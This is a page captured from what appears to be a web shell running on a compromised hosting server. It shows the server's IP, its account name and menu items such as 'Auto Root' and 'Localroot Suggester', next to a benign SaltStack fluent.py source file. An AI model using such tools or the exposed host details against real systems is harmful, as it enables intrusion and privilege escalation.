Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python3.6 /
site-packages /
salt /
engines /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2022-10-11 05:09
__init__.py
3.62
KB
-rw-r--r--
2022-05-16 09:16
docker_events.py
2.84
KB
-rw-r--r--
2022-05-16 09:16
fluent.py
2.05
KB
-rw-r--r--
2022-05-16 09:16
http_logstash.py
2.84
KB
-rw-r--r--
2022-05-16 09:16
ircbot.py
10.22
KB
-rw-r--r--
2022-05-16 09:16
junos_syslog.py
13.18
KB
-rw-r--r--
2022-05-16 09:16
libvirt_events.py
21.28
KB
-rw-r--r--
2022-05-16 09:16
logentries.py
5.64
KB
-rw-r--r--
2022-05-16 09:16
logstash_engine.py
1.77
KB
-rw-r--r--
2022-05-16 09:16
napalm_syslog.py
11.59
KB
-rw-r--r--
2022-05-16 09:16
reactor.py
720
B
-rw-r--r--
2022-05-16 09:16
redis_sentinel.py
2.88
KB
-rw-r--r--
2022-05-16 09:16
script.py
3.33
KB
-rw-r--r--
2022-05-16 09:16
slack.py
35.79
KB
-rw-r--r--
2022-05-16 09:16
sqs_events.py
4.65
KB
-rw-r--r--
2022-05-16 09:16
stalekey.py
3.67
KB
-rw-r--r--
2022-05-16 09:16
test.py
932
B
-rw-r--r--
2022-05-16 09:16
thorium.py
314
B
-rw-r--r--
2022-05-16 09:16
webhook.py
2.78
KB
-rw-r--r--
2022-05-16 09:16
Save
Rename
""" An engine that reads messages from the salt event bus and pushes them onto a fluent endpoint. .. versionadded:: 3000 :Configuration: All arguments are optional Example configuration of default settings .. code-block:: yaml engines: - fluent: host: localhost port: 24224 app: engine Example fluentd configuration .. code-block:: none <source> @type forward port 24224 </source> <match saltstack.**> @type file path /var/log/td-agent/saltstack </match> :depends: fluent-logger """ import logging import salt.utils.event try: from fluent import sender, event except ImportError: sender = None log = logging.getLogger(__name__) __virtualname__ = "fluent" def __virtual__(): return ( __virtualname__ if sender is not None else (False, "fluent-logger not installed") ) def start(host="localhost", port=24224, app="engine"): """ Listen to salt events and forward them to fluent args: host (str): Host running fluentd agent. Default is localhost port (int): Port of fluentd agent. Default is 24224 app (str): Text sent as fluentd tag. Default is "engine". This text is appended to "saltstack." to form a fluentd tag, ex: "saltstack.engine" """ SENDER_NAME = "saltstack" sender.setup(SENDER_NAME, host=host, port=port) if __opts__.get("id").endswith("_master"): event_bus = salt.utils.event.get_master_event( __opts__, __opts__["sock_dir"], listen=True ) else: event_bus = salt.utils.event.get_event( "minion", transport=__opts__["transport"], opts=__opts__, sock_dir=__opts__["sock_dir"], listen=True, ) log.info("Fluent engine started") with event_bus: while True: salt_event = event_bus.get_event_block() if salt_event: event.Event(app, salt_event)